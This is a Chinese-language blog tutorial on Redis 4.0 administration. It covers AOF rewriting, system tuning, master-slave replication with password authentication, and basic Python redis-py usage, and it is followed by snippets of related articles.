如果测试本地不让登录了,如下图:

日志显示

因为我之前用过flushdb这个命令,aof记录了这个命令,如果要改名aof就不认识了

重写一下aof

十四,Redis主从服务器环境的搭建


主机名


IP


用途


Redis01


10.1.1.146


Redis-master


Redis02


10.1.1.147


Redis-slaveA


Redis03


10.1.1.148


Redis-slaveB

14.1 环境要求与redis基础编译部署调优

操作系统环境要求

三台redis都进行编译安装,三台都进行配置文件优化和简单的基础调优,三台的redis-server都启动

过程略,前面有写

基础调优设置:

[[email protected] redis]# echo "* - nofile 10240" >> /etc/security/limits.conf
[[email protected] redis]# echo "net.core.somaxconn = 10240" >> /etc/sysctl.conf
[[email protected] redis]# echo "vm.overcommit_memory = 1" >> /etc/sysctl.conf
[[email protected] redis]# sysctl -p
net.core.somaxconn = 10240
vm.overcommit_memory = 1
[[email protected] redis]# echo never > /sys/kernel/mm/transparent_hugepage/enabled
[[email protected] redis]# echo never > /sys/kernel/mm/transparent_hugepage/defrag
[[email protected] redis]# echo ‘echo never > /sys/kernel/mm/transparent_hugepage/enabled‘>>/etc/rc.local

[[email protected] redis]# echo ‘echo never > /sys/kernel/mm/transparent_hugepage/defrag‘ >> /etc/rc.local

14.2 redis主从同步服务器搭建

redis的主从同步,不用修改master任何配置

只需要在redis-slave上指定master的IP地址即可

先启动redis-master,将主的日志清空  > /data/redis/redis.log  一会主要是想看看日志信息的。然后再在两个redis-slave上都进行如下操作
[[email protected] redis]# redis-cli shutdown
[[email protected] redis]# echo "SLAVEOF 10.1.1.146 6379" >> /usr/local/redis/conf/redis.conf

[[email protected] redis]# tail -1 /usr/local/redis/conf/redis.conf
SLAVEOF 10.1.1.146 6379
[[email protected] redis]# > /data/redis/redis.log
[[email protected] redis]# redis-server /usr/local/redis/conf/redis.conf
[[email protected] redis]# ss -antup | grep redis
tcp    LISTEN     0      1024      *:6379                  *:*                 
  users:(("redis-server",pid=1449,fd=6))tcp    ESTAB      0      0      10.1.1.147:33796              10.1.1.146:6379  
              users:(("redis-server",pid=1449,fd=7))

14.3 主从同步日志分析(全量同步)查看redis-slave同步日志,查看redis-slave同步日志
查看日志信息:略,自己能看懂就行,看不懂百度单词,工作中是会经常看redis的日志信息的

keys *    从库里也有了数据

redis的主从复制原理:是在后台起一个进程并生成一个rdb文件,来把当前这个时刻的所有的内存数据给BGSAVE到内存里,并不是写到硬盘上,然后把这个rdb文件给从,redis的第一次同步方式都是全量同步,就是把所有数据都给从库

14.4 主从同步日志分析(部分同步)

如果是从宕了,不触发半同步,从宕了之后好了再连,还是全量,如果主宕了,从库就找不着了,这个时候主宕了之后再恢复,从就会找主做增量复制,就是部分同步
[[email protected] ~]# > /data/redis/redis.log
[[email protected] ~]# redis-cli shutdown
从的日志  略

14.5 主从同步的停止

[[email protected] ~]# redis-cli
127.0.0.1:6379> slaveof no one
OK
127.0.0.1:6379>
[[email protected] ~]# cat /data/redis/redis.log

恢复主从

127.0.0.1:6379> slaveof 10.1.1.146 6379
OK

14.6 加密的主从同步

1)为redis-master平滑设置连接密码

[[email protected] ~]# redis-cli config get requirepass
1) "requirepass"
2) ""
[[email protected] ~]# redis-cli config set requirepass ‘yunjisuan‘
OK
[[email protected] ~]# redis-cli config get requirepass
(error) NOAUTH Authentication required.
[[email protected] ~]# redis-cli auth yunjisuan
OK

查看从库日志信息

2)为从库提供主从同步密码验证

从服务器需要设置主从同步的认证密码

查看从服务器日志

十五,使用Python操作Redis单例

[[email protected] ~]# yum -y install epel-release
[[email protected] ~]# yum -y install python2-pip
[[email protected] ~]# pip install redis

15.2 利用python进行redis数据的读写

[[email protected] ~]# python
Python 2.7.5 (default, Apr 11 2018, 07:36:10)
[GCC 4.8.5 20150623 (Red Hat 4.8.5-28)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import redis
>>> r = redis.Redis(host=‘127.0.0.1‘,port=6379,password=‘yunjisuan‘,db=0)
>>> r.get(‘key_0008‘)
‘value_0008‘
>>> exit()

原文地址:https://www.cnblogs.com/wsnbba/p/10223068.html

时间: 2024-10-31 13:09:58

Redis4.0之持久化存储的相关文章

Redis4.0 之持久化存储

redis如果提供缓存服务,可以关闭所有持久化存储,如此一来redis重启后所有数据会丢失 开启rdb或aof持久化存储,能把redis中的数据持久化到磁盘中. rdb和aof对性能都有影响,所以建议持久化的操作在从库上进行 Redis的rdb存储方式,使用save配置开启rdb存储或者关闭rdb存储 # 默认情况下rdb持久化存储是开启的 [[email protected] ~]# redis-cli -h 127.0.0.1 config set save "" # 关闭rdb存

redis-4.0.14 cluster 配置实战

1.操作系统配置 切换到root用户修改配置sysctl.conf vim /etc/sysctl.conf # 添加配置: vm.max_map_count=655360 vm.overcommit_memory=1 net.core.somaxconn= 32767 fs.file-max=65535 # ulimit -n 最大文件描述符 65536 vim /etc/security/limits.conf # 添加 * soft nofile 65536 * hard nofile 6

iOS数据持久化存储

本文中的代码托管在github上:https://github.com/WindyShade/DataSaveMethods 相对复杂的App仅靠内存的数据肯定无法满足,数据写磁盘作持久化存储是几乎每个客户端软件都需要做的.简单如"是否第一次打开"的BOOL值,大到游戏的进度和状态等数据,都需要进行本地持久化存储.这些数据的存储本质上就是写磁盘存文件,原始一点可以用iOS本身支持有NSFileManager这样的API,或者干脆C语言fwrite/fread,Cocoa Touch本身

饿了么开源项目:便捷高效的Android数据持久化存储框架

版权所有.所有权利保留. 欢迎转载,转载时请注明出处: http://blog.csdn.net/xiaofei_it/article/details/51436972 Android应用开发时经常要对许多数据进行持久化存储,便于以后访问. 对于int.double.boolean这些基本数据,可以使用SharedPreference.对于一些对象,往SharedPreference里存储的时候需要使用序列化技术.如果对象很大,或者碰到列表.数组等结构,就必须使用数据库.而使用数据库比较麻烦,成

Redis4.0 主从复制(PSYN2.0)

Redis4.0版本相比原来3.x版本,增加了很多新特性,如模块化.PSYN2.0.非阻塞DEL和FLUSHALL/FLUSHDB.RDB-AOF混合持久化等功能.尤其是模块化功能,作者从七年前的redis1.0版本就开始谋划,终于在4.0版本发布了,所以版本号也就从3.x直接迭代到了4.0以表示版本变化之大.简单看了一下新版的PSYN2.0,虽然很多细节没搞清楚,但是大概流程倒是搞明白了. 一.主要流程 在新版的PSYN2.0中,相比原来的PSYN功能,最大的变化支持两种场景下的部分重同步,一

Swift - 使用Core Data进行数据持久化存储

一,Core Data介绍 1,Core Data是iOS5之后才出现的一个数据持久化存储框架,它提供了对象-关系映射(ORM)的功能,即能够将对象转化成数据,也能够将保存在数据库中的数据还原成对象. 2,虽然其底层也是由类似于SQL的技术来实现,但我们不需要编写任何SQL语句,有点像Java开发中的Hibernate持久化框架 3,Core Data数据最终的存储类型可以是:SQLite数据库,XML,二进制,内存里,或自定义数据类型. 4,与SQLite区别:只能取出整个实体记录,然后分解,

iOS开发之数据持久化存储

概论 数据持久化存储:所谓持久化存储就是将数据保存到硬盘中,使得应用程序或者机器在重启后可以访问之前保存的数据. 常见方式: plist文件(属性列表) preference(偏好设置) NSKeyedArchiver(归档) SQLite3(数据库) CoreData(苹果基于数据库封装的持久化存储工具,这种方式效率不高,因为会帮我们动态生成很多重复的代码,我只有写XMPP的时候会用一下,因为XMPP里面的存储用的就是CoreData) 沙盒 说到持久化存储就不得不说一下苹果的沙盒机制,苹果的

数据持久化存储

概论 所谓的持久化,就是将数据保存到硬盘中,使得在应用程序或机器重启后可以继续访问之前保存的数据.在iOS开发中,有很多数据持久化的方案,接下来我将尝试着介绍一下5种方案: plist文件(属性列表) preference(偏好设置) NSKeyedArchiver(归档) SQLite 3 CoreData 沙盒 在介绍各种存储方法之前,有必要说明以下沙盒机制.iOS程序默认情况下只能访问程序自己的目录,这个目录被称为“沙盒”. 1.结构 既然沙盒就是一个文件夹,那就看看里面有什么吧.沙盒的目

日志缓冲必须被刷新持久化存储

日志缓冲必须被刷新持久化存储,以确保提交的事务完全被持久化了,如果和持久化相比更在乎性能,可以修改innodb_flush_log_at_trx_commit变量来控制日志缓冲拴心的频繁程度,可能的设置如下: 0  把日志缓冲写到日志文件,并且每秒钟刷新一次,但是事务提交时不做任何事. 1 将日志缓冲写到日志文件,并且每次提交事务都刷新到持久化存储,这是默认的(并且是最安全的)设置,该设置能保证不会丢失任何已经提交的事务,除非磁盘或操作系统是“伪”刷新的. 2 每次提交时把日志缓冲写到日志文件,